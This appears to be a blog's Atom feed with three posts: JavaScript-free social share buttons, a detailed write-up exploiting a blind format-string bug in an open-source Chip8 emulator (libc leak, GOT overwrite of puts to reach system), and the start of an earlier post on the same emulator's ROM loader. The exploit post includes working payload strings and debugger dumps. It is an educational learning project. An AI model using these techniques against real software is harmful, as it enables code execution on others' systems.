<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://lucabtz.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://lucabtz.com/" rel="alternate" type="text/html" /><updated>2025-03-01T13:20:55+00:00</updated><id>https://lucabtz.com/feed.xml</id><title type="html">Luca’s Blog</title><subtitle>Join me, Luca Bertozzi, a Theoretical Physics graduate turned cybersecurity enthusiast, as I explore cybersecurity topics  and occasionally delve into Computer Science and Physics.</subtitle><entry><title type="html">JavaScript-free Share Buttons</title><link href="https://lucabtz.com/blog/javascript-free-share-buttons" rel="alternate" type="text/html" title="JavaScript-free Share Buttons" /><published>2025-01-23T00:00:00+00:00</published><updated>2025-01-23T00:00:00+00:00</updated><id>https://lucabtz.com/blog/javascript-free-share-buttons</id><content type="html" xml:base="https://lucabtz.com/blog/javascript-free-share-buttons"><![CDATA[<p>Hello and welcome back to my blog! Before diving in the post’s topic I want to say sorry for not posting last month: I had
a series of inconveniences during December, including getting Dengue fever and moving back to my home country, Italy, from the
Philippines. Also I excuse myself, but this blog post is not on security.</p>

<p>Anyhow I like to have share buttons for various social medias on my blog posts, but the default share buttons for X and LinkedIn
use JavaScript. Not only that but the X button appears to be particularly slow to load. I have noticed this on my website and some
other websites as well: it may be a mistake on my side, though.</p>

<p>The thing that bugs me about this share buttons is that they need some JavaScript embedded in the page. While I haven’t reversed the
code to understand what it does, I think it is completely useless to have such code in the first place (I <em>guess</em> it may be do some
analytics related stuff, which I don’t care about). All the button have to do is redirect the user to a certain page. Also some privacy 
concerned user might have JS disabled (think TOR Browser for example) which would cause the buttons to not work (maybe not so important 
because a privacy concerned user may not want to share what they are reading in the first place, but still).</p>

<p>So anyhow I want to share how you can implement share buttons for Mastodon, BlueSky, X and LinkedIn without a line of JS.
The structure of all the buttons will be the following</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">class=</span><span class="s">"share share-[social media name]"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">title=</span><span class="s">"Share on [social media name]"</span>
    <span class="na">href=</span><span class="s">"[statically generated share link]"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;svg&gt;&lt;/svg&gt;</span>
    <span class="nt">&lt;div&gt;</span>[Text]<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>
<p>All the links are statically generated using Jekyll’s templating language.</p>

<p>The <code class="language-plaintext highlighter-rouge">share</code> CSS class handles the general layout of the button, note that I’m using SASS</p>
<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span><span class="nc">.share</span> <span class="p">{</span>
    <span class="nl">border-radius</span><span class="p">:</span> <span class="m">0</span><span class="mi">.2em</span><span class="p">;</span>
    <span class="nl">height</span><span class="p">:</span> <span class="m">21px</span><span class="p">;</span>
    <span class="nl">text-decoration</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span>

    <span class="nl">display</span><span class="p">:</span> <span class="n">flex</span><span class="p">;</span>
    <span class="nl">flex-direction</span><span class="p">:</span> <span class="n">row</span><span class="p">;</span>
    <span class="nl">align-items</span><span class="p">:</span> <span class="nb">center</span><span class="p">;</span>

    <span class="nl">padding-left</span><span class="p">:</span> <span class="m">5px</span><span class="p">;</span>
    <span class="nl">padding-right</span><span class="p">:</span> <span class="m">5px</span><span class="p">;</span>

    <span class="nt">svg</span> <span class="p">{</span>
        <span class="nl">height</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span>
        <span class="nl">width</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span>
        <span class="nl">margin-right</span><span class="p">:</span> <span class="m">3px</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nt">div</span> <span class="p">{</span>
        <span class="nl">font-size</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span>
        <span class="nl">font-family</span><span class="p">:</span> <span class="n">Helvetica</span><span class="o">,</span> <span class="n">Arial</span><span class="o">,</span> <span class="nb">sans-serif</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="mastodon">Mastodon</h2>
<p>I used the service <a href="https://mastodonshare.com" target="_blank">Mastodon Share</a> to implement the share button. The code
follows</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"https://mastodonshare.com/?text={{ page.title }}&amp;url={{ site.url }}{{ page.url }}"</span>
    <span class="na">class=</span><span class="s">"share share-mastodon"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">title=</span><span class="s">"Share on Mastodon"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;svg</span> <span class="na">width=</span><span class="s">"74"</span> <span class="na">height=</span><span class="s">"79"</span> <span class="na">viewBox=</span><span class="s">"0 0 74 79"</span> <span class="na">fill=</span><span class="s">"black"</span>
        <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;path</span>
            <span class="na">d=</span><span class="s">"M73.7014 17.4323C72.5616 9.05152 65.1774 2.4469 56.424 1.1671C54.9472 0.950843 49.3518 0.163818 36.3901 0.163818H36.2933C23.3281 0.163818 20.5465 0.950843 19.0697 1.1671C10.56 2.41145 2.78877 8.34604 0.903306 16.826C-0.00357854 21.0022 -0.100361 25.6322 0.068112 29.8793C0.308275 35.9699 0.354874 42.0498 0.91406 48.1156C1.30064 52.1448 1.97502 56.1419 2.93215 60.0769C4.72441 67.3445 11.9795 73.3925 19.0876 75.86C26.6979 78.4332 34.8821 78.8603 42.724 77.0937C43.5866 76.8952 44.4398 76.6647 45.2833 76.4024C47.1867 75.8033 49.4199 75.1332 51.0616 73.9562C51.0841 73.9397 51.1026 73.9184 51.1156 73.8938C51.1286 73.8693 51.1359 73.8421 51.1368 73.8144V67.9366C51.1364 67.9107 51.1302 67.8852 51.1186 67.862C51.1069 67.8388 51.0902 67.8184 51.0695 67.8025C51.0489 67.7865 51.0249 67.7753 50.9994 67.7696C50.9738 67.764 50.9473 67.7641 50.9218 67.7699C45.8976 68.9569 40.7491 69.5519 35.5836 69.5425C26.694 69.5425 24.3031 65.3699 23.6184 63.6327C23.0681 62.1314 22.7186 60.5654 22.5789 58.9744C22.5775 58.9477 22.5825 58.921 22.5934 58.8965C22.6043 58.8721 22.621 58.8505 22.6419 58.8336C22.6629 58.8167 22.6876 58.8049 22.714 58.7992C22.7404 58.7934 22.7678 58.794 22.794 58.8007C27.7345 59.9796 32.799 60.5746 37.8813 60.5733C39.1036 60.5733 40.3223 60.5733 41.5447 60.5414C46.6562 60.3996 52.0437 60.1408 57.0728 59.1694C57.1983 59.1446 57.3237 59.1233 57.4313 59.0914C65.3638 57.5847 72.9128 52.8555 73.6799 40.8799C73.7086 40.4084 73.7803 35.9415 73.7803 35.4523C73.7839 33.7896 74.3216 23.6576 73.7014 17.4323ZM61.4925 47.3144H53.1514V27.107C53.1514 22.8528 51.3591 20.6832 47.7136 20.6832C43.7061 20.6832 41.6988 23.2499 41.6988 28.3194V39.3803H33.4078V28.3194C33.4078 23.2499 31.3969 20.6832 27.3894 20.6832C23.7654 20.6832 21.9552 22.8528 21.9516 27.107V47.3144H13.6176V26.4937C13.6176 22.2395 14.7157 18.8598 16.9118 16.3545C19.1772 13.8552 22.1488 12.5719 25.8373 12.5719C30.1064 12.5719 33.3325 14.1955 35.4832 17.4394L37.5587 20.8853L39.6377 17.4394C41.7884 14.1955 45.0145 12.5719 49.2765 12.5719C52.9614 12.5719 55.9329 13.8552 58.2055 16.3545C60.4017 18.8574 61.4997 22.2371 61.4997 26.4937L61.4925 47.3144Z"</span>
            <span class="na">fill=</span><span class="s">"inherit"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/svg&gt;</span>
    <span class="nt">&lt;div&gt;</span>Toot<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>
<p>And for the style:</p>
<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span><span class="nc">.share-mastodon</span> <span class="p">{</span>
    <span class="nl">background</span><span class="p">:</span> <span class="mh">#2b90d9</span><span class="p">;</span>

    <span class="nt">svg</span> <span class="p">{</span>
        <span class="na">fill</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nt">div</span> <span class="p">{</span>
        <span class="nl">color</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="bluesky">BlueSky</h2>
<p>For BlueSky we don’t need a specific service for sharing. My first inspiration for the code was <a href="https://www.pietschsoft.com/post/2024/11/22/how-to-add-share-on-bluesky-action-intent-button-to-your-website" target="_blank">this blog post</a></p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">class=</span><span class="s">"share share-bluesky"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">title=</span><span class="s">"Share on Bluesky"</span>
    <span class="na">href=</span><span class="s">"https://bsky.app/intent/compose?text={{ site.url }}{{ page.url }}"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;svg</span> <span class="na">width=</span><span class="s">"1em"</span> <span class="na">height=</span><span class="s">"1em"</span> <span class="na">fill=</span><span class="s">"inherit"</span> <span class="na">viewBox=</span><span class="s">"0 0 600 530"</span>
        <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;path</span>
            <span class="na">d=</span><span class="s">"m135.72 44.03c66.496 49.921 138.02 151.14 164.28 205.46 26.262-54.316 97.782-155.54 164.28-205.46 47.98-36.021 125.72-63.892 125.72 24.795 0 17.712-10.155 148.79-16.111 170.07-20.703 73.984-96.144 92.854-163.25 81.433 117.3 19.964 147.14 86.092 82.697 152.22-122.39 125.59-175.91-31.511-189.63-71.766-2.514-7.3797-3.6904-10.832-3.7077-7.8964-0.0174-2.9357-1.1937 0.51669-3.7077 7.8964-13.714 40.255-67.233 197.36-189.63 71.766-64.444-66.128-34.605-132.26 82.697-152.22-67.108 11.421-142.55-7.4491-163.25-81.433-5.9562-21.282-16.111-152.36-16.111-170.07 0-88.687 77.742-60.816 125.72-24.795z"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/svg&gt;</span>
    <span class="nt">&lt;div&gt;</span>Skeet<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>
<p>And the style:</p>
<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span><span class="nc">.share-bluesky</span> <span class="p">{</span>
    <span class="nl">background</span><span class="p">:</span> <span class="mh">#1185fe</span><span class="p">;</span>

    <span class="nt">svg</span> <span class="p">{</span>
        <span class="na">fill</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nt">div</span> <span class="p">{</span>
        <span class="nl">color</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="x">X</h2>
<p>Okay let me first be clear: I don’t like X’s owner. However there are still a lot of interesting people which have not moved to
Mastodon or BlueSky so I’m still there. Also there I often find interesting posts on security, so I think “boycotting X by not
having an X share button” would only hurt me, rather than X.
The HTML:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">class=</span><span class="s">"share share-x"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">title=</span><span class="s">"Share on X"</span>
    <span class="na">href=</span><span class="s">"https://x.com/intent/post?original_referer={{ site.url }}%2F&amp;text={{ page.title }}&amp;url={{ site.url }}{{ page.url }}"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;svg</span> <span class="na">width=</span><span class="s">"1200"</span> <span class="na">height=</span><span class="s">"1227"</span> <span class="na">viewBox=</span><span class="s">"0 0 1200 1227"</span> <span class="na">fill=</span><span class="s">"inherit"</span>
        <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;path</span>
            <span class="na">d=</span><span class="s">"M714.163 519.284L1160.89 0H1055.03L667.137 450.887L357.328 0H0L468.492 681.821L0 1226.37H105.866L515.491 750.218L842.672 1226.37H1200L714.137 519.284H714.163ZM569.165 687.828L521.697 619.934L144.011 79.6944H306.615L611.412 515.685L658.88 583.579L1055.08 1150.3H892.476L569.165 687.854V687.828Z"</span>
            <span class="na">fill=</span><span class="s">"white"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/svg&gt;</span>
    <span class="nt">&lt;div&gt;</span>Post<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>
<p>The style of course involes the “fascist black” color:</p>
<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span><span class="nc">.share-x</span> <span class="p">{</span>
    <span class="nl">background</span><span class="p">:</span> <span class="no">black</span><span class="p">;</span>

    <span class="nt">svg</span> <span class="p">{</span>
        <span class="na">fill</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nt">div</span> <span class="p">{</span>
        <span class="nl">color</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="linkedin">LinkedIn</h2>
<p>The HTML code:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">class=</span><span class="s">"share share-linkedin"</span> <span class="na">target=</span><span class="s">"_blank"</span> <span class="na">title=</span><span class="s">"Share on LinkedIn"</span>
    <span class="na">href=</span><span class="s">"https://www.linkedin.com/feed/?linkOrigin=LI_BADGE&amp;shareActive=true&amp;shareUrl={{ site.url }}{{ page.url }}"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;svg</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">x=</span><span class="s">"0px"</span> <span class="na">y=</span><span class="s">"0px"</span> <span class="na">width=</span><span class="s">"100"</span> <span class="na">height=</span><span class="s">"100"</span>
        <span class="na">viewBox=</span><span class="s">"0 0 50 50"</span> <span class="na">fill=</span><span class="s">"inherit"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;path</span>
            <span class="na">d=</span><span class="s">"M41,4H9C6.24,4,4,6.24,4,9v32c0,2.76,2.24,5,5,5h32c2.76,0,5-2.24,5-5V9C46,6.24,43.76,4,41,4z M17,20v19h-6V20H17z M11,14.47c0-1.4,1.2-2.47,3-2.47s2.93,1.07,3,2.47c0,1.4-1.12,2.53-3,2.53C12.2,17,11,15.87,11,14.47z M39,39h-6c0,0,0-9.26,0-10 c0-2-1-4-3.5-4.04h-0.08C27,24.96,26,27.02,26,29c0,0.91,0,10,0,10h-6V20h6v2.56c0,0,1.93-2.56,5.81-2.56 c3.97,0,7.19,2.73,7.19,8.26V39z"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;/path&gt;</span>
    <span class="nt">&lt;/svg&gt;</span>
    <span class="nt">&lt;div&gt;</span>Share<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>
<p>And the style:</p>
<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span><span class="nc">.share-linkedin</span> <span class="p">{</span>
    <span class="nl">background</span><span class="p">:</span> <span class="mh">#0a66c2</span><span class="p">;</span>

    <span class="nt">svg</span> <span class="p">{</span>
        <span class="na">fill</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="nt">div</span> <span class="p">{</span>
        <span class="nl">color</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>
<p>This was a short blog post to share this code snippets which allow you to have share buttons which do not involve any JavaScript.
You are free to embed them on your blog, no need to credit me, however if you do I’d love if you’d let me know: you find my contacts
on my homepage.</p>]]></content><author><name>Luca Bertozzi</name></author><category term="meta" /><summary type="html"><![CDATA[Continuation of the previous post. I use the built arbitrary call primitive using some blind format string exploitation techniques to achieve RCE.]]></summary></entry><entry><title type="html">Pwning the Chip8 Emulator with Blind Format Strings</title><link href="https://lucabtz.com/blog/pwning-the-chip8-emulator-with-blind-format-strings" rel="alternate" type="text/html" title="Pwning the Chip8 Emulator with Blind Format Strings" /><published>2024-11-03T00:00:00+00:00</published><updated>2024-11-03T00:00:00+00:00</updated><id>https://lucabtz.com/blog/pwning-the-chip8-emulator-with-blind-format-strings</id><content type="html" xml:base="https://lucabtz.com/blog/pwning-the-chip8-emulator-with-blind-format-strings"><![CDATA[<p>This is a continuation of my previous post, if you have not read it you can find it <a href="https://lucabtz.com/blog/attempt-at-pwning-a-chip8-emulator">here</a>.</p>

<p>As I was browsing through X I came across this <a href="https://www.synacktiv.com/publications/exploiting-a-blind-format-string-vulnerability-in-modern-binaries-a-case-study-from" target="_blank">post</a>.
When trying to exploit the emulator before I realized I could call <code class="language-plaintext highlighter-rouge">printf</code> with an arbitrary format string, I also checked 
quickly resources online, but mainly they exploit format string bugs which are not blind (you can see and read the output
of the <code class="language-plaintext highlighter-rouge">printf</code>). Here the situation is different as the output would be on the terminal of the remote computer which we can’t 
read. However, as I saw the above post I realized blind format string exploits are a thing and I decided to investigate whether
they would work here.</p>

<p>For context I reccomend you read the post I linked as well as keep the
<a href="https://www.man7.org/linux/man-pages/man3/printf.3.html" target="_blank">man page for printf</a> open while you read and refer to it 
often.</p>

<h2 id="blind-printf-exploit">Blind <code class="language-plaintext highlighter-rouge">printf</code> exploit</h2>

<p>The general idea is using <code class="language-plaintext highlighter-rouge">printf</code> to first leak a <code class="language-plaintext highlighter-rouge">libc</code> address into the Chip8 memory. Then we process this using the Chip8’s
assembly to compute the address of <code class="language-plaintext highlighter-rouge">system</code>. Finally we use <code class="language-plaintext highlighter-rouge">printf</code> again to overwrite the GOT entry of <code class="language-plaintext highlighter-rouge">puts</code> and we have
arbitrary code execution.</p>

<p>First step is placing a pointer to some Chip8 memory onto the stack. We will need this because with the format <code class="language-plaintext highlighter-rouge">%n</code>
(which is the only writing primitive in format strings) we can write only to pointers which are on the stack.</p>

<p>I decided to use address <code class="language-plaintext highlighter-rouge">0x405220</code> which corresponds to the VM address <code class="language-plaintext highlighter-rouge">0x100</code>. This is what the stack looks like at a <code class="language-plaintext highlighter-rouge">printf</code> call</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; stack 15
00:0000│ rsp 0x7ffdd9892408 —▸ 0x7fa214d6be59 (Mix_FadeInMusicPos+265) ◂— mov ebp, eax
01:0008│     0x7ffdd9892410 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'
02:0010│     0x7ffdd9892418 —▸ 0x7ffdd9892450 ◂— 2
03:0018│     0x7ffdd9892420 —▸ 0x7fa214fcd000 (_rtld_global) —▸ 0x7fa214fce2e0 ◂— 0
04:0020│     0x7ffdd9892428 —▸ 0x4013fd (main+295) ◂— movzx eax, byte ptr [rip + 0x5556]
05:0028│     0x7ffdd9892430 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'
06:0030│     0x7ffdd9892438 ◂— 0x254442d18
07:0038│     0x7ffdd9892440 ◂— 0x3fe0000000000000
08:0040│     0x7ffdd9892448 ◂— 0xb00000000
09:0048│     0x7ffdd9892450 ◂— 2
0a:0050│     0x7ffdd9892458 —▸ 0x7fa214b91dba (__libc_start_call_main+122) ◂— mov edi, eax
0b:0058│     0x7ffdd9892460 ◂— 0x3ada368abac064c3
0c:0060│     0x7ffdd9892468 —▸ 0x4012d6 (main) ◂— push rbp
0d:0068│     0x7ffdd9892470 ◂— 0x2bac064c3
0e:0070│     0x7ffdd9892478 —▸ 0x7ffdd9892568 —▸ 0x7ffdd989419f ◂— '/home/luca/Documents/CHIP8-Emulator-C/src/Chip8'
</code></pre></div></div>
<p>I decided to write the address <code class="language-plaintext highlighter-rouge">0x405220</code> at the stack address <code class="language-plaintext highlighter-rouge">0x7ffdd9892568</code>, which is as you can see, where the program name
is stored on the stack. To do so I used to following code</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">asm</span><span class="p">.</span><span class="n">write_bytes</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="sa">b</span><span class="s">"%"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">PRINTF_LEAK_ADDR</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"c%6$ln</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="n">asm</span><span class="p">.</span><span class="n">native_call_primitive</span><span class="p">(</span><span class="n">PRINTF_PLT</span><span class="p">)</span>
</code></pre></div></div>
<p>Here <code class="language-plaintext highlighter-rouge">PRINTF_LEAK_ADDR</code> is <code class="language-plaintext highlighter-rouge">0x405220</code>. In particular the format stores the value <code class="language-plaintext highlighter-rouge">0x405220</code> into the character counter and then
dumps it using the <code class="language-plaintext highlighter-rouge">%ln</code> format with the appropriate argument index.</p>

<p>Now that we have the address we want to write too we can leak there some <code class="language-plaintext highlighter-rouge">libc</code> address. In particular we have the address of
<code class="language-plaintext highlighter-rouge">__libc_start_call_main+122</code>, <code class="language-plaintext highlighter-rouge">0x7fa214b91dba</code>, on the stack. To leak this we need to use first the format <code class="language-plaintext highlighter-rouge">%*15$c</code> which
reads the argument with index 15 into the character counter. In particular the <code class="language-plaintext highlighter-rouge">*15$</code> part says that the 15th argument, which
is supposed to be an <code class="language-plaintext highlighter-rouge">int</code>, stores the value that need to be used as the field width (refer to the man pages for details).
This is precisely the argument index of the <code class="language-plaintext highlighter-rouge">__libc_start_call_main+122</code> address.
Unfortunately, we do not control the type here, the value is interpreted as <code class="language-plaintext highlighter-rouge">int</code>, so we can only read the lower 32 bits. However 
this will prove sufficient, because we will just overwrite the lower 32 bits of the GOT entry of <code class="language-plaintext highlighter-rouge">puts</code>.
Further it is a signed <code class="language-plaintext highlighter-rouge">int</code> which will lead to some weirdness when the MSB of the lower 32 bits is set
(whether this is set or not depends on ASLR, so it is random).</p>

<p>Now that we read the value we dump it into the chip8’s memory at <code class="language-plaintext highlighter-rouge">0x405220</code> using the format <code class="language-plaintext highlighter-rouge">%49$ln</code>. So the final code looks
like</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">asm</span><span class="p">.</span><span class="n">write_bytes</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="sa">b</span><span class="s">"%*15$c%49$ln</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="n">asm</span><span class="p">.</span><span class="n">native_call_primitive</span><span class="p">(</span><span class="n">PRINTF_PLT</span><span class="p">)</span>
</code></pre></div></div>

<p>Now let me go back to the problem with signed <code class="language-plaintext highlighter-rouge">int</code>s. For example let me take the case where <code class="language-plaintext highlighter-rouge">__libc_start_call_main+122</code> is
<code class="language-plaintext highlighter-rouge">0x7ffff7bc1dba</code>. The lower 32 bits are <code class="language-plaintext highlighter-rouge">0xf7bc1dba</code> and thus have the sign bit set. In this case what gets written at the
leak location is the value <code class="language-plaintext highlighter-rouge">0x0843e246</code>. However after some thinking about this and how the <code class="language-plaintext highlighter-rouge">printf</code> code may work (I did not 
actually read the code) I realized that we always have <code class="language-plaintext highlighter-rouge">actual_lower_32_bits + leak_value = 0x100000000</code> (i.e. the leaked value 
is the two’s complement of the real value) so that we can always recover the actual value from the leaked one anyhow. If the
sign bit is not set then the leaked value is just the real value of the lower 32 bits.</p>

<p>So we process the leak as follows:</p>
<ul>
  <li>look at the page offset of the leaked value (this is independent of ASLR): if it is <code class="language-plaintext highlighter-rouge">0xdba</code> the leak is the actual value
and we need to do nothing,</li>
  <li>otherwise compute the actual value by getting the two’s complement.</li>
</ul>

<p>After implementing this in the chip8’s instructions, we add the offset to <code class="language-plaintext highlighter-rouge">system</code> to the leak with more instructions. 
Then we can leverage <code class="language-plaintext highlighter-rouge">printf</code> again to overwrite the lower 32-bits of some GOT entry (let me chose <code class="language-plaintext highlighter-rouge">puts</code> which is at
address <code class="language-plaintext highlighter-rouge">0x405038</code>). To keep the previous setup in place I write this to a different stack location with format strings.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; stack 15
00:0000│ rsp 0x7ffc39a50a00 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
01:0008│-038 0x7ffc39a50a08 —▸ 0x7ffc39a50a40 —▸ 0x405038 (puts@got[plt]) —▸ 0x7ff7b0eb8e60 (puts) ◂— push r14
02:0010│-030 0x7ffc39a50a10 —▸ 0x7ff7b12a4000 (_rtld_global) —▸ 0x7ff7b12a52e0 ◂— 0
03:0018│-028 0x7ffc39a50a18 —▸ 0x4013fd (main+295) ◂— movzx eax, byte ptr [rip + 0x5556]
04:0020│-020 0x7ffc39a50a20 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
05:0028│-018 0x7ffc39a50a28 ◂— 0x254442d18
06:0030│-010 0x7ffc39a50a30 ◂— 0x3fe0000000000000
07:0038│-008 0x7ffc39a50a38 ◂— 0xb00000000
08:0040│ rbp 0x7ffc39a50a40 —▸ 0x405038 (puts@got[plt]) —▸ 0x7ff7b0eb8e60 (puts) ◂— push r14
09:0048│+008 0x7ffc39a50a48 —▸ 0x7ff7b0e68dba (__libc_start_call_main+122) ◂— mov edi, eax
0a:0050│+010 0x7ffc39a50a50 ◂— 0x3ada368abac064c3
0b:0058│+018 0x7ffc39a50a58 —▸ 0x4012d6 (main) ◂— push rbp
0c:0060│+020 0x7ffc39a50a60 ◂— 0x2bac064c3
0d:0068│+028 0x7ffc39a50a68 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
0e:0070│+030 0x7ffc39a50a70 —▸ 0x7ffc39a50b58 —▸ 0x405220 (chip+256) ◂— 0xffffffffb0e8f050
</code></pre></div></div>
<p>As you can see we both have the leak address and the <code class="language-plaintext highlighter-rouge">puts</code> GOT address somewhere on the stack now.</p>

<p>Now comes the annoying part: we need to generate the format string that will overwrite the GOT entry ourself in the chip8
program. Ideally one would use the format <code class="language-plaintext highlighter-rouge">%&lt;value to write in decimal ascii&gt;c</code> to load the value in the character counter.
However converting to decimal is not so easy as there is no division operation on the chip8.</p>

<p>What I ended up doing is checking the values bit by bit and adding the format strings <code class="language-plaintext highlighter-rouge">%1$&lt;some power of 2&gt;c</code>: for example the
binary number <code class="language-plaintext highlighter-rouge">1011</code> would convert to <code class="language-plaintext highlighter-rouge">%1$1c%1$2c%1$8c</code>. I also spitted the write in two steps as this seemed to work better
and it also produce smaller format strings, so each time I write only 16 bits using the format <code class="language-plaintext highlighter-rouge">%14$hn</code> (<code class="language-plaintext highlighter-rouge">14</code> references the
pointer to <code class="language-plaintext highlighter-rouge">puts@got[plt]</code> we previously written on the stack). Splitting the write in two also means we need to update the GOT address on the stack
before the second write.</p>

<p>After this is done the exploit is completed using again the arbitrary call primitive to call <code class="language-plaintext highlighter-rouge">puts@plt</code> with any command we
want to run as first argument.</p>

<h2 id="conclusion">Conclusion</h2>
<p>The exploit works fully reliably, however, unless the output of the program is piped into <code class="language-plaintext highlighter-rouge">/dev/null</code> it is extremely slow as
a lot of characters need to actually be printed. This was just a learning project anyhow and I learned a lot about format string
exploits along the way, I hope at the end of this journey you have learned something to, dear reader.
Anyhow here is the exploit code which will generate a malicious ROM that spawns a calculator</p>]]></content><author><name>Luca Bertozzi</name></author><category term="binary-exploitation" /><category term="format-string" /><summary type="html"><![CDATA[Continuation of the previous post. I use the built arbitrary call primitive using some blind format string exploitation techniques to achieve RCE.]]></summary></entry><entry><title type="html">(An Attempt at) Pwning a Chip8 Emulator</title><link href="https://lucabtz.com/blog/attempt-at-pwning-a-chip8-emulator" rel="alternate" type="text/html" title="(An Attempt at) Pwning a Chip8 Emulator" /><published>2024-10-24T00:00:00+00:00</published><updated>2024-10-24T00:00:00+00:00</updated><id>https://lucabtz.com/blog/attempt-at-pwning-a-chip8-emulator</id><content type="html" xml:base="https://lucabtz.com/blog/attempt-at-pwning-a-chip8-emulator"><![CDATA[<p>Recently I was browsing the projects section on a Discord server
and I found an interesting <a href="https://github.com/Docas95/CHIP8-Emulator-C" target="_blank">Chip8 Emulator project</a>. As I was reading 
through the code and I reached the <code class="language-plaintext highlighter-rouge">load_ROM</code> function I immediately saw a problem</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// load content from ROM into memory</span>
<span class="kt">void</span> <span class="nf">load_ROM</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">filename</span><span class="p">){</span>
	<span class="kt">FILE</span><span class="o">*</span> <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">);</span>
